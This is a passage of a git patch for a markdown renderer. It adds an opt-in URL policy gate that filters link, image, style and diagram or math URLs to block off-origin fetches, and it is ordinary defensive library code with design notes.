From a5bf59a9b9d3491a2fcba41b6cc8e1f003314db9 Mon Sep 17 00:00:00 2001
From: Jonathan Kingston <KingstonMailBox@gmail.com>
Date: Thu, 27 Aug 2026 12:26:39 +0100
Subject: [PATCH 1/3] feat(url-policy): TrustedURL-shaped host gate for every
 emitted URL (prototype)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

A `MarkdownConfig.urlPolicy` a host installs once and that is consulted for
every URL this package emits, modelled on the `TrustedURL` type Trusted Types
dropped in w3c/trusted-types#65. `createURL(request)` returns the URL to use —
which need not be the one it was given — or `null` to block it.

Motivation: mermaid SVG and KaTeX HTML are injected *after* the sink sanitizer,
so `linkImagePolicy` never sees them. Measured against real mermaid 11 in
Chromium at its default `securityLevel: 'strict'`: an HTML label emits
`<img src>` inside `<foreignObject>`, and an injected `themeCSS` reaches the
SVG's `<style>` as a live `url()` — both fetched with no user interaction, with
an origin policy installed and no effect. Neither `flowchart.htmlLabels: false`
nor mermaid's own `dompurifyConfig` stops them, so it has to be filtered on the
way out.

Why the shape transfers here when the platform dropped it: TrustedURL died
because enforcement across the DOM's unbounded URL sink surface broke too much,
and the residual non-XSS risks were delegated to CSP `*-src`. Neither applies to
a markdown renderer — the sink surface is small and enumerable because this
package emits it, and a library cannot set the host's CSP. The issue's own
conclusion (hard-block `javascript:` after parsing rather than ask developers to
sanitize every href) becomes the floor: the scheme allowlist runs first, applies
to what the policy *returns* as well as what it is asked, and a host policy can
only narrow from there.

Enforced at all three tiers, so "the policy sees every URL" is a real property:
  - the inline emitters (renderAnchor / renderedImage / renderedAutolink), which
    covers the `renderMarkdownUnsafe` string path that never reaches the sink;
  - the sink gate, for raw-HTML passthrough destinations that never met
    `safeLinkHref`;
  - a new post-sink walker (url-filter-markup.ts) over diagram/math markup,
    covering href/xlink:href/src/srcset and `url()` in <style> and style="".

Notes on the shape:
  - `UrlRequest.url` is a canonicalized, credential-stripped `URL`, not a raw
    string — prefix-matching raw strings is where origin allowlists get bypassed.
  - `sink` ('navigation' | 'image' | 'style') is the distinction TrustedURL
    lacked and a large part of why it was unusable: cross-origin is ordinary for
    a link a reader follows and an unattended channel for a subresource.
  - Same-document fragments are passed through unchecked; every diagram carries
    `url(#…)` marker refs, and blocking them removes every arrowhead.
  - The policy runs at the emitters, not inside `safeLinkHref`: that function is
    also the parse gate `linkOrImageEndAt` uses to probe link boundaries for the
    emphasis pass, so a policy there saw every URL twice and would have let a
    host decision change how emphasis pairs.
  - Post-sink markup is parsed in a browsing-context-free `DOMParser` document,
    verified to issue no requests, so URLs are decided before anything can fetch.

Off by default: with no policy installed every call is one null check and output
stays byte-identical.

Measured limitation, recorded in url-filter-markup.ts: `mermaid.render()` fetches
the label `<img>` and the themeCSS `url()` ITSELF — it renders into a temporary
live node to measure labels — so the first beacon is already gone before a host
sees the SVG. This pass stops everything after that, but the initial
exfiltration can only be closed on the way in, by controlling the source handed
to the backend or rendering in a sandbox.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---
 src/config.ts            |  12 ++
 src/index.test.ts        |   3 +
 src/index.ts             |  10 ++
 src/inline-autolinks.ts  |   5 +-
 src/inline-links.ts      |  99 ++++++--------
 src/math.ts              |  17 ++-
 src/mermaid.ts           |  29 +++-
 src/sanitize.ts          |  40 +++++-
 src/streaming.ts         |   4 +
 src/url-filter-markup.ts | 205 ++++++++++++++++++++++++++++
 src/url-policy.test.ts   | 256 +++++++++++++++++++++++++++++++++++
 src/url-policy.ts        | 283 +++++++++++++++++++++++++++++++++++++++
 tests/setup-dom-jsdom.ts |   3 +
 13 files changed, 902 insertions(+), 64 deletions(-)
 create mode 100644 src/url-filter-markup.ts
 create mode 100644 src/url-policy.test.ts
 create mode 100644 src/url-policy.ts

diff --git a/src/config.ts b/src/config.ts
index 70c5df5..3940385 100644
--- a/src/config.ts
+++ b/src/config.ts
@@ -21,6 +21,7 @@
 import type { HtmlPolicy } from './html-policy.ts'
 import type { SanitizeExtension, SanitizerBackend } from './sanitize.ts'
 import type { LinkImagePolicy } from './link-image-policy.ts'
+import type { UrlPolicy } from './url-policy.ts'
 import type { TrustedTypesPolicy } from './html-sink.ts'
 import type { LinkDecorator } from './inline-links.ts'
 import type { FenceHandler } from './fence-handlers.ts'
@@ -67,6 +68,17 @@ export interface MarkdownConfig {
   sanitizeExtension?: SanitizeExtension | null
   /** Opt-in link/image origin allowlist; `null` disables it (unrestricted). See link-image-policy.ts. */
   linkImagePolicy?: LinkImagePolicy | null
+  /**
+   * Opt-in host gate consulted for **every** URL this package emits — markdown
+   * links/images/autolinks, raw-HTML passthrough destinations, and the URLs
+   * inside diagram/math markup that bypasses the sink sanitizer. `null` (the
+   * default) disables it and every URL is emitted unchanged.
+   *
+   * Modelled on the `TrustedURL` type Trusted Types dropped (w3c/trusted-types#65):
+   * the scheme allowlist stays a floor a policy cannot lift, and everything above
+   * it is the host's. See url-policy.ts.
+   */
+  urlPolicy?: UrlPolicy | null
   /** Trusted Types policy used to bless sink output; `null` uses the default. See html-sink.ts. */
   trustedTypesPolicy?: TrustedTypesPolicy | null
   /**
diff --git a/src/index.test.ts b/src/index.test.ts
index 8d776b0..8f4e3fb 100644
--- a/src/index.test.ts
+++ b/src/index.test.ts
@@ -28,6 +28,9 @@ const EXPECTED_FUNCTIONS = [
   'hydratePendingDiagrams',
   'hydratePendingMath',
   'renderAnchor',
+  // PROTOTYPE (#url-policy): lets a host run the URL policy over post-sink
+  // markup by hand, through `transformSvg` / `transformHtml`.
+  'filterMarkupUrlsString',
 ] as const
 
 describe('public API barrel (index.ts)', () => {
diff --git a/src/index.ts b/src/index.ts
index 00b9acd..428a9d3 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -59,6 +59,16 @@ export {
 // sanitizer rather than replacing them. Scope it via
 // `MarkdownConfig.linkImagePolicy`. See docs/EXTENDING.md.
 export { type LinkImagePolicy } from './link-image-policy.ts'
+// PROTOTYPE (#url-policy): the TrustedURL-shaped gate every emitted URL passes
+// through — markdown links/images/autolinks, raw-HTML passthrough destinations,
+// and the URLs inside diagram/math markup that bypasses the sink sanitizer.
+export {
+  type UrlPolicy,
+  type UrlRequest,
+  type UrlSink,
+  type UrlSource,
+} from './url-policy.ts'
+export { filterMarkupUrlsString } from './url-filter-markup.ts'
 // Trusted Types support: every internal `innerHTML` write routes through the
 // html-sink chokepoint, which sanitizes and then blesses the markup with a TT
 // policy when one is active (a lazily created `streaming-markdown` policy by
diff --git a/src/inline-autolinks.ts b/src/inline-autolinks.ts
index 9162f40..a4335bb 100644
--- a/src/inline-autolinks.ts
+++ b/src/inline-autolinks.ts
@@ -2,6 +2,7 @@ import { escapeHtml } from './escape.ts'
 import { INLINE_HTML_SHIELD_RE } from './inline-emphasis.ts'
 import { isAllowedHref } from './inline-links.ts'
 import { encodeHrefForOutput } from './link-references.ts'
+import { applyUrlPolicy, urlPolicyMarkerAttr } from './url-policy.ts'
 
 /**
  * CommonMark URI autolink: `<scheme:...>`. Scheme is an ASCII letter followed by
@@ -37,7 +38,9 @@ function autolinkHref(raw: string): string | null {
 function renderedAutolink(label: string, href: string): string {
   // Label stays raw so the outer `escapeHtmlTextNodes` pass escapes it exactly
   // once; pre-escaping here would double-encode `&` in URLs (`&amp;amp;`, #595).
-  return `<a href="${escapeHtml(href)}">${label}</a>`
+  const decided = applyUrlPolicy(href, 'navigation', 'markdown', 'a', 'href')
+  const hrefAttr = decided === null ? '' : ` href="${escapeHtml(decided)}"`
+  return `<a${hrefAttr}${urlPolicyMarkerAttr()}>${label}</a>`
 }
 
 /**
diff --git a/src/inline-links.ts b/src/inline-links.ts
index e4eb7fd..886fe82 100644
--- a/src/inline-links.ts
+++ b/src/inline-links.ts
@@ -1,5 +1,19 @@
 import { decodeEscapedPunctuationRaw } from './backslash-escapes.ts'
 import { activeConfig } from './config.ts'
+import {
+  applyUrlPolicy,
+  DEFAULT_SAFE_HREF_SCHEMES,
+  getSafeHrefSchemes,
+  isAllowedHref,
+  urlPolicyMarkerAttr,
+  withUrlPolicySuppressed,
+} from './url-policy.ts'
+
+// The scheme allowlist moved to url-policy.ts so the floor can be enforced on
+// every URL path — including the ones that never reach this module (post-sink
+// diagram/math markup) and the value a host policy hands back. Re-exported here
+// because this is where the package's surface has always named it.
+export { DEFAULT_SAFE_HREF_SCHEMES, getSafeHrefSchemes, isAllowedHref }
 import { decodeEscapedHref, escapeHtml } from './escape.ts'
 import { isWorkspaceMarkdownLinkHref } from './workspace-link-href.ts'
 import {
@@ -57,65 +71,18 @@ function lookupWithRenderedLabels(
 }
 
 /**
- * Default URL schemes permitted on a link/image destination. Anything carrying
- * a scheme outside the active set — `javascript:`, `data:`, `vbscript:`,
- * `file:`, and every unknown scheme — is rejected. An allowlist fails *closed*:
- * a new dangerous scheme is blocked by default, unlike a denylist that only
- * knows the three it was told about. Relative/absolute paths, fragments, and
- * query-only destinations carry no scheme and are always allowed.
- */
-export const DEFAULT_SAFE_HREF_SCHEMES: readonly string[] = [
-  'http',
-  'https',
-  'mailto',
-  'tel',
-  'sms',
-  'ftp',
-  'ftps',
-]
-
-const HREF_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):/
-
-const DEFAULT_SAFE_HREF_SCHEMES_SET: ReadonlySet<string> = new Set(DEFAULT_SAFE_HREF_SCHEMES)
-
-// `config.safeHrefSchemes` is an arbitrary iterable of possibly-mixed-case scheme
-// names; resolve it to a lowercased Set once per distinct config value (the read
-// runs per link/image destination).
-let cachedSchemesSource: Iterable<string> | null | undefined
-let cachedSchemes: ReadonlySet<string> = DEFAULT_SAFE_HREF_SCHEMES_SET
-function activeSafeHrefSchemes(): ReadonlySet<string> {
-  const source = activeConfig().safeHrefSchemes
-  if (source == null) return DEFAULT_SAFE_HREF_SCHEMES_SET
-  if (source !== cachedSchemesSource) {
-    cachedSchemesSource = source
-    cachedSchemes = new Set(Array.from(source, (scheme) => scheme.toLowerCase()))
-  }
-  return cachedSchemes
-}
-
-/**
- * The scheme allowlist currently enforced by {@link safeLinkHref}.
+ * Allowed link destinations: http(s), mailto, and relative/path forms. Rejects
+ * dangerous schemes.
  *
- * @internal Introspection getter that reads the ambient render config; outside
- * a render it returns {@link DEFAULT_SAFE_HREF_SCHEMES}. Not part of the stable v1
- * surface (#147) — scope behaviour via `MarkdownConfig.safeHrefSchemes` instead
- * (the default constant stays stable). Not exported from the package entry since 1.0.
+ * This is a *parse* gate — whether the construct renders as a link at all — and
+ * deliberately does NOT consult the host {@link UrlPolicy}. `linkOrImageEndAt`
+ * calls it to probe link boundaries for the emphasis pass and throws the result
+ * away, so a policy consulted here would see every link twice and would make a
+ * host's decision change how emphasis pairs. The policy applies at the emitters
+ * instead ({@link renderAnchor} / `renderedImage`), where a blocked destination
+ * drops the attribute and keeps the element — the same neutralization the sink's
+ * origin policy performs.
  */
-export function getSafeHrefSchemes(): string[] {
-  return [...activeSafeHrefSchemes()]
-}
-
-/**
- * True when `href` is a relative destination or carries an allowlisted scheme.
- * Exported so angle autolinks share the exact allowlist markdown links use
- * (#139) — autolink destinations are verbatim (no escapes to decode first).
- */
-export function isAllowedHref(href: string): boolean {
-  const scheme = HREF_SCHEME_RE.exec(href)?.[1]
-  return scheme === undefined || activeSafeHrefSchemes().has(scheme.toLowerCase())
-}
-
-/** Allowed link destinations: http(s), mailto, and relative/path forms. Rejects dangerous schemes. */
 export function safeLinkHref(raw: string): string | null {
   // Resolve to the exact string the browser will act on *before* validating:
   // undo source HTML-escaping and PUA-escaped punctuation, then decode HTML
@@ -184,7 +151,12 @@ export function renderAnchor(label: string, href: string, title?: string): strin
   }
   const decorator = activeConfig().linkDecorator ?? neutralLinkDecorator
   const attrs = decorator(decoration)
-  return `<a href="${escapeHtml(href)}"${attrs}>${label}</a>`
+  // A blocked destination leaves the anchor in place without an `href`: the
+  // label stays readable and nothing is navigable, matching how the sink's
+  // origin policy neutralizes an off-origin link.
+  const decided = applyUrlPolicy(href, 'navigation', 'markdown', 'a', 'href')
+  const hrefAttr = decided === null ? '' : ` href="${escapeHtml(decided)}"`
+  return `<a${hrefAttr}${attrs}${urlPolicyMarkerAttr()}>${label}</a>`
 }
 
 function renderedLink(label: string, href: string, title?: string): string {
@@ -207,7 +179,10 @@ function imageAltText(renderedLabel: string): string {
 
 function renderedImage(alt: string, src: string, title?: string): string {
   const titleAttr = title ? ` title="${escapeHtml(title)}"` : ''
-  return `<img src="${escapeHtml(src)}" alt="${escapeHtml(imageAltText(alt))}"${titleAttr} data-md-rendered="1" />`
+  // Blocked: drop the `src` so nothing loads and the `alt` still shows.
+  const decided = applyUrlPolicy(src, 'image', 'markdown', 'img', 'src')
+  const srcAttr = decided === null ? '' : ` src="${escapeHtml(decided)}"`
+  return `<img${srcAttr} alt="${escapeHtml(imageAltText(alt))}"${titleAttr} data-md-rendered="1"${urlPolicyMarkerAttr()} />`
 }
 
 function renderLinkLabel(
@@ -265,7 +240,11 @@ export function linkOrImageEndAt(
   start: number,
   refs: LinkReferenceMap = new Map(),
 ): number | null {
-  return tryParseLinkOrImage(text, start, refs, (label) => label)?.end ?? null
+  // The rendered HTML is discarded here — only the offset matters — so the host
+  // URL policy must not see these destinations (url-policy.ts).
+  return withUrlPolicySuppressed(
+    () => tryParseLinkOrImage(text, start, refs, (label) => label)?.end ?? null,
+  )
 }
 
 /**
diff --git a/src/math.ts b/src/math.ts
index 4cf1855..4f4d8c3 100644
--- a/src/math.ts
+++ b/src/math.ts
@@ -1,4 +1,7 @@
 import { setHostTrustedHtml, type TrustedHTMLValue } from './html-sink.ts'
+import { injectFilteredMarkup } from './url-filter-markup.ts'
+import { withConfig } from './config.ts'
+import type { UrlPolicy } from './url-policy.ts'
 
 // The math-renderer registry (#70): the KaTeX analogue of the pluggable diagram
 // renderer. Like mermaid, the KaTeX *library* is never bundled by this package —
@@ -65,6 +68,12 @@ export interface HydrateMathOptions {
    * will be rejected by the page's CSP.
    */
   transformHtml?: (html: string) => string | TrustedHTMLValue
+  /**
+   * {@link UrlPolicy} to enforce over the backend's HTML before it is injected.
+   * Passed explicitly for the same reason as {@link HydrateDiagramsOptions.urlPolicy}:
+   * hydration runs after the synchronous render scope has been restored.
+   */
+  urlPolicy?: UrlPolicy | null
 }
 
 /** Read a pending element's TeX source (block scaffolding wraps it in `pre.math`). */
@@ -116,7 +125,13 @@ export async function hydratePendingMath(
     // the escaped-source error state; the sink throws before mutating, so the
     // inert source stays visible.
     try {
-      setHostTrustedHtml(el, options.transformHtml ? options.transformHtml(html) : html)
+      const markup = options.transformHtml ? options.transformHtml(html) : html
+      const inject = (): void => {
+        // Filtered node path first — see the note in mermaid.ts markRendered.
+        if (!injectFilteredMarkup(el, markup, 'math')) setHostTrustedHtml(el, markup)
+      }
+      if (options.urlPolicy === undefined) inject()
+      else withConfig({ urlPolicy: options.urlPolicy }, inject)
     } catch {
       markError(el, kind)
       continue
diff --git a/src/mermaid.ts b/src/mermaid.ts
index 79c6c36..5b55b8e 100644
--- a/src/mermaid.ts
+++ b/src/mermaid.ts
@@ -1,5 +1,8 @@
 import { mermaidSourceCandidates } from './mermaid-source.ts'
 import { setHostTrustedHtml, type TrustedHTMLValue } from './html-sink.ts'
+import { injectFilteredMarkup } from './url-filter-markup.ts'
+import { withConfig } from './config.ts'
+import type { UrlPolicy } from './url-policy.ts'
 
 // PROTOTYPE (#lazy-load): the diagram-renderer registry, the mermaid analogue of
 // the pluggable code highlighter. Unlike highlight.js, the mermaid *library* is
@@ -58,6 +61,19 @@ export interface HydrateDiagramsOptions {
    * will be rejected by the page's CSP.
    */
   transformSvg?: (svg: string) => string | TrustedHTMLValue
+  /**
+   * {@link UrlPolicy} to enforce over the backend's SVG before it is injected —
+   * the mermaid analogue of the sink's link/image gate, and the only thing that
+   * sees a `url()` in an injected `<style>` or an `<img>` inside a
+   * `<foreignObject>`.
+   *
+   * Passed explicitly rather than read from the ambient render config because
+   * hydration runs *after* the synchronous render scope has been restored
+   * (config.ts). `StreamingMarkdownRenderer.hydrate()` forwards its own
+   * `urlPolicy` here; a direct caller that installed one process-wide via
+   * `setDefaultConfig` need not pass it.
+   */
+  urlPolicy?: UrlPolicy | null
 }
 
 /** Read a pending container's diagram source from its `<pre class="mermaid">`. */
@@ -69,9 +85,18 @@ function readDiagramSource(container: Element): string {
 function markRendered(container: Element, svg: string | TrustedHTMLValue): void {
   container.classList.remove('mermaid-diagram--pending')
   container.classList.add('mermaid-diagram--rendered')
+  // Filtered node path first: it decides every URL *before* anything is in a
+  // live document, so an off-origin subresource never gets to start its fetch.
+  if (injectFilteredMarkup(container, svg, 'diagram')) return
   setHostTrustedHtml(container, svg)
 }
 
+/** Run one injection under an explicitly supplied policy, when the caller passed one. */
+function withUrlPolicy(urlPolicy: UrlPolicy | null | undefined, inject: () => void): void {
+  if (urlPolicy === undefined) inject()
+  else withConfig({ urlPolicy }, inject)
+}
+
 function markError(container: Element): void {
   container.classList.remove('mermaid-diagram--pending')
   container.classList.add('mermaid-diagram--error')
@@ -116,7 +141,9 @@ export async function hydratePendingDiagrams(
       // TrustedHTML — so fail the diagram without re-rendering every
       // candidate just to hit the same sink error.
       try {
-        markRendered(container, options.transformSvg ? options.transformSvg(svg) : svg)
+        withUrlPolicy(options.urlPolicy, () => {
+          markRendered(container, options.transformSvg ? options.transformSvg(svg) : svg)
+        })
         ok = true
         rendered++
       } catch {
diff --git a/src/sanitize.ts b/src/sanitize.ts
index 85799c2..a2b553b 100644
--- a/src/sanitize.ts
+++ b/src/sanitize.ts
@@ -1,5 +1,10 @@
 import { activeConfig } from './config.ts'
 import { applyLinkImagePolicy } from './link-image-policy.ts'
+import {
+  applyUrlPolicy,
+  hasUrlPolicy,
+  URL_POLICY_MARKER_ATTR,
+} from './url-policy.ts'
 import { browserSanitizerBackend, isBrowserSanitizerSupported } from './sanitize-browser.ts'
 
 // Defense-in-depth over the hand-assembled HTML that `renderMarkdown()` emits.
@@ -206,6 +211,31 @@ export interface SanitizeExtension {
 // `id` cannot enable DOM clobbering of arbitrary page-global names.
 const FOOTNOTE_ID_RE = /^(?:fn(?:ref)?-[A-Za-z0-9_-]+|[A-Za-z0-9_-]*footnote-label)$/
 
+// Raw-HTML passthrough is the one population of `<a>`/`<img>` the inline
+// emitters never touched, so the sink is the only place its URLs can be gated.
+// The two populations serialize identically, which is what the marker
+// distinguishes (see URL_POLICY_MARKER_ATTR).
+function gateUrlPolicy(node: Element, tagName: string): void {
+  if (!hasUrlPolicy() || typeof node.getAttribute !== 'function') return
+  if (node.hasAttribute(URL_POLICY_MARKER_ATTR)) {
+    node.removeAttribute(URL_POLICY_MARKER_ATTR)
+    return
+  }
+  const attribute = tagName === 'a' ? 'href' : tagName === 'img' ? 'src' : null
+  if (attribute === null) return
+  const raw = node.getAttribute(attribute)
+  if (raw === null || raw === '') return
+  const decided = applyUrlPolicy(
+    raw,
+    tagName === 'img' ? 'image' : 'navigation',
+    'markdown',
+    tagName,
+    attribute,
+  )
+  if (decided === null) node.removeAttribute(attribute)
+  else if (decided !== raw) node.setAttribute(attribute, decided)
+}
+
 function gateElement(node: Element, tagName: string): void {
   // The DOMPurify backend's hook also fires for text/comment nodes, which
   // carry no attributes — only real elements have an id to gate.
@@ -224,6 +254,11 @@ function gateElement(node: Element, tagName: string): void {
     node.setAttribute('disabled', '')
     return
   }
+  // Host URL policy (opt-in, off by default) for destinations that did NOT come
+  // from the inline emitters — i.e. raw HTML passed through to the sink, which
+  // never met `safeLinkHref`. Renderer-emitted links carry the marker and were
+  // decided already; consume it so no attacker-visible attribute survives.
+  gateUrlPolicy(node, tagName)
   // Core link/image origin policy (opt-in, off by default) — a no-op unless a
   // policy is installed. Runs before the host hook so the host sees the already
   // origin-vetted `<a>`/`<img>`, and composes with (never replaces) it.
@@ -278,9 +313,12 @@ function buildSanitizerConfig(): SanitizerConfig {
   const allowedTags = extension?.allowedTags
     ? [...ALLOWED_TAGS, ...extension.allowedTags]
     : ALLOWED_TAGS
-  const allowedAttr = extension?.allowedAttr
+  const extensionAttr = extension?.allowedAttr
     ? [...ALLOWED_ATTR, ...extension.allowedAttr]
     : ALLOWED_ATTR
+  // The marker has to survive the backend's attribute filter long enough for the
+  // gate to read it; the gate then removes it, so it never reaches the DOM.
+  const allowedAttr = hasUrlPolicy() ? [...extensionAttr, URL_POLICY_MARKER_ATTR] : extensionAttr
   return { allowedTags, allowedAttr, onElement: gateElement }
 }
 
diff --git a/src/streaming.ts b/src/streaming.ts
index 266a163..26fa54c 100644
--- a/src/streaming.ts
+++ b/src/streaming.ts
@@ -1084,6 +1084,9 @@ export class StreamingMarkdownRenderer {
     if (mathRenderer) {
       const mathOptions: HydrateMathOptions = { renderer: mathRenderer }
       if (options.transformHtml) mathOptions.transformHtml = options.transformHtml
+      // Hydration runs outside the render's config scope, so the policy has to
+      // travel with the options rather than be read from ambient config.
+      if (this.config.urlPolicy != null) mathOptions.urlPolicy = this.config.urlPolicy
       math = await hydratePendingMath(this.host, mathOptions)
     }
     let diagrams = 0
@@ -1091,6 +1094,7 @@ export class StreamingMarkdownRenderer {
     if (diagramRenderer) {
       const diagramOptions: HydrateDiagramsOptions = { renderer: diagramRenderer }
       if (options.transformSvg) diagramOptions.transformSvg = options.transformSvg
+      if (this.config.urlPolicy != null) diagramOptions.urlPolicy = this.config.urlPolicy
       diagrams = await hydratePendingDiagrams(this.host, diagramOptions)
     }
     // Hydration rewrites scaffold elements in place — an out-of-band mutation
diff --git a/src/url-filter-markup.ts b/src/url-filter-markup.ts
new file mode 100644
index 0000000..89e8f0f
--- /dev/null
+++ b/src/url-filter-markup.ts
@@ -0,0 +1,205 @@
+import { applyUrlPolicy, hasUrlPolicy, type UrlSink, type UrlSource } from './url-policy.ts'
+
+// PROTOTYPE (#url-policy): the {@link UrlPolicy} pass over markup that bypasses
+// the sink sanitizer — mermaid SVG and KaTeX HTML, which their libraries produce
+// *after* `sanitizeRenderedMarkdown` and which the origin policy in
+// `link-image-policy.ts` therefore never sees (docs/SECURITY.md, "Trust
+// boundaries"). Real mermaid 11 at its default `securityLevel: 'strict'` emits
+// `<img src>` inside `<foreignObject>` for an HTML label, and an injected
+// `themeCSS` reaches the SVG's `<style>` as a live `url()` — both fetched with no
+// user interaction. Neither `flowchart.htmlLabels: false` nor mermaid's own
+// `dompurifyConfig` stops them, so the filtering has to happen on the way out.
+//
+// LIMITATION, measured (real mermaid 11 in Chromium, nothing injected into the
+// page): `mermaid.render()` fetches the label `<img>` and the themeCSS `url()`
+// ITSELF, because it renders into a temporary live node to measure labels. The
+// first beacon is therefore already gone before a host ever sees the SVG string.
+// This pass stops everything after that — the repeat load, the persistent
+// subresource, the click-through destination, the CSS fetch in the injected
+// document — but it is NOT a defence against the initial exfiltration. That one
+// can only be stopped on the way IN, by controlling the source handed to the
+// backend (`mermaidSourceCandidates`) or by rendering in a sandbox.
+//
+// Two properties this pass has to hold, in order:
+//
+//  1. **Filter before injection, never after.** The moment an off-origin `src`
+//     is in a live document the fetch has already started; removing it after is
+//     theatre. Parsing happens in a `DOMParser` document, which has no browsing
+//     context and therefore loads nothing, and the nodes are only imported into
+//     the live tree once every URL has been decided.
+//  2. **Same-document fragment references must survive.** Every mermaid diagram
+//     carries `url(#…-pointEnd)` marker refs and `<use href="#…">`; a blanket
+//     `url()` block deletes the arrowheads from every graph. `applyUrlPolicy`
+//     passes bare fragments through untouched, so one rule covers both.
+//
+// The node path keeps the markup out of `innerHTML`, but it is NOT yet a
+// Trusted Types story: `DOMParser.parseFromString` is itself a TT sink (the same
+// reason DOMPurify ships its own `dompurify` policy — see docs/EXTENDING.md), so
+// under `require-trusted-types-for 'script'` this parse needs a policy of its
+// own. PROTOTYPE GAP: a real implementation should route it through the
+// html-sink.ts chokepoint, which already owns policy resolution — and unlike
+// mermaid's raw SVG, blessing markup *in order to sanitize it* is exactly what
+// that chokepoint is for.
+
+const CSS_URL_RE = /url\(\s*(['"]?)([^'")]*)\1\s*\)/gi
+
+// A blocked `url()` cannot simply be emptied: `url("")` resolves to the current
+// document and fetches the page itself. `about:blank` is inert and requests
+// nothing.
+const INERT_CSS_URL = 'url("about:blank")'
+
+/** Elements whose URL attributes are fetched automatically rather than followed. */
+const SUBRESOURCE_TAGS = new Set(['img', 'image', 'use', 'feimage', 'video', 'audio', 'source'])
+
+/** Attributes carrying a single URL, by lowercased local name. */
+const URL_ATTR_NAMES = new Set(['href', 'src', 'poster', 'data'])
+
+/**
+ * Which sink an attribute represents. `href` is the ambiguous one: on an `<a>`
+ * it is a destination the reader chooses to follow, on `<image>`/`<use>` it is a
+ * subresource the browser fetches on sight.
+ */
+function sinkFor(tagName: string, attrLocalName: string): UrlSink {
+  if (attrLocalName === 'src' || attrLocalName === 'srcset') return 'image'
+  if (attrLocalName === 'poster' || attrLocalName === 'data') return 'image'
+  return SUBRESOURCE_TAGS.has(tagName) ? 'image' : 'navigation'
+}
+
+/** Rewrite every `url()` in a CSS string through the policy. */
+function filterCssUrls(css: string, source: UrlSource, element: string): string {
+  return css.replace(CSS_URL_RE, (match, _quote: string, raw: string) => {
+    const trimmed = raw.trim()
+    if (trimmed === '') return match
+    const decided = applyUrlPolicy(trimmed, 'style', source, element, 'style')
+    if (decided === null) return INERT_CSS_URL
+    return decided === trimmed ? match : `url("${decided.replace(/"/g, '%22')}")`
+  })
+}
+
+/**
+ * `srcset` is a comma-separated list of `url descriptor` pairs; police each
+ * candidate and drop the ones the policy rejects. Returns `null` when nothing
+ * survives, so the caller removes the attribute entirely.
+ */
+function filterSrcset(value: string, source: UrlSource, element: string): string | null {
+  const kept: string[] = []
+  for (const candidate of value.split(',')) {
+    const trimmed = candidate.trim()
+    if (trimmed === '') continue
+    const space = trimmed.search(/\s/)
+    const url = space === -1 ? trimmed : trimmed.slice(0, space)
+    const descriptor = space === -1 ? '' : trimmed.slice(space)
+    const decided = applyUrlPolicy(url, 'image', source, element, 'srcset')
+    if (decided !== null) kept.push(decided + descriptor)
+  }
+  return kept.length === 0 ? null : kept.join(', ')
+}
+
+/**
+ * Apply the active {@link UrlPolicy} to every URL under `root` — attribute URLs
+ * (`href`, `xlink:href`, `src`, `srcset`, `poster`), `url()` inside `style`
+ * attributes, and `url()` inside `<style>` element text.
+ *
+ * A blocked URL is *removed* rather than rewritten to a placeholder: a dead
+ * `<a>` still shows its label, and a stripped `src` still shows its `alt`, which
+ * is the same neutralization `link-image-policy.ts` performs at the sink.
+ */
+export function filterMarkupUrls(root: ParentNode, source: UrlSource): void {
+  for (const el of root.querySelectorAll('*')) {
+    const tagName = el.tagName.toLowerCase()
+
+    if (tagName === 'style') {
+      const css = el.textContent
+      if (css !== null && css !== '') el.textContent = filterCssUrls(css, source, tagName)
+      continue
+    }
+
+    // Snapshot: the loop removes attributes as it goes.
+    for (const attr of Array.from(el.attributes)) {
+      // `xlink:href` arrives from the HTML parser as a namespaced attribute
+      // whose local name is plain `href`, so match on the local name and use
+      // the qualified name only for reporting and removal.
+      const local = (attr.localName || attr.name).toLowerCase()
+      const value = attr.value
+
+      if (local === 'style') {
+        if (value !== '') el.setAttribute(attr.name, filterCssUrls(value, source, tagName))
+        continue
+      }
+      if (local === 'srcset') {
+        const filtered = filterSrcset(value, source, tagName)
+        if (filtered === null) el.removeAttribute(attr.name)
+        else el.setAttribute(attr.name, filtered)
+        continue
+      }
+      if (!URL_ATTR_NAMES.has(local)) continue
+      if (value === '') continue
+
+      const decided = applyUrlPolicy(value, sinkFor(tagName, local), source, tagName, attr.name)
+      if (decided === null) el.removeAttribute(attr.name)
+      else if (decided !== value) el.setAttribute(attr.name, decided)
+    }
+  }
+}
+
+/**
+ * Parse `html` in a document with no browsing context, apply
+ * {@link filterMarkupUrls}, and return the filtered nodes ready to be imported
+ * into a live tree. Nothing in the parsed document loads, so an off-origin
+ * subresource never gets the chance to fire before the policy sees it.
+ *
+ * Returns `null` when the environment has no `DOMParser` (the caller falls back
+ * to the unfiltered string path).
+ */
+export function parseAndFilterMarkup(html: string, source: UrlSource): Element | null {
+  const parsed = parseInert(html)
+  if (parsed === null) return null
+  filterMarkupUrls(parsed, source)
+  return parsed
+}
+
+/**
+ * Parse into a document with no browsing context — the property the whole pass
+ * rests on, since such a document fetches nothing while we decide what to keep.
+ * Returns `null` where there is no `DOMParser` (a DOM-free SSR host), and the
+ * caller falls back to its ordinary unfiltered path.
+ */
+function parseInert(html: string): Element | null {
+  if (typeof DOMParser === 'undefined') return null
+  const doc = new DOMParser().parseFromString(`<div>${html}</div>`, 'text/html')
+  return doc.body.firstElementChild
+}
+
+/**
+ * String-in/string-out variant for a host wiring the policy up through
+ * `transformSvg` / `transformHtml` by hand, or serializing outside a DOM sink.
+ * Prefer the node path ({@link parseAndFilterMarkup}) where the markup is going
+ * straight into an element — it avoids the re-parse and the injection sink.
+ */
+export function filterMarkupUrlsString(html: string, source: UrlSource): string {
+  const holder = parseAndFilterMarkup(html, source)
+  return holder === null ? html : holder.innerHTML
+}
+
+/**
+ * Filter `html` and place it into `target` via the node path, returning `true`
+ * when it handled the injection. Returns `false` when no {@link UrlPolicy} is
+ * installed or the environment has no `DOMParser`, leaving the caller to use its
+ * ordinary string sink — so behaviour with the feature off is unchanged.
+ *
+ * Because the nodes are imported rather than assigned through `innerHTML`, this
+ * path touches no injection sink and needs no Trusted Types blessing for markup
+ * the package did not sanitize.
+ */
+export function injectFilteredMarkup(
+  target: Element,
+  html: string | { toString(): string },
+  source: UrlSource,
+): boolean {
+  if (!hasUrlPolicy()) return false
+  const holder = parseAndFilterMarkup(String(html), source)
+  if (holder === null) return false
+  const doc = target.ownerDocument
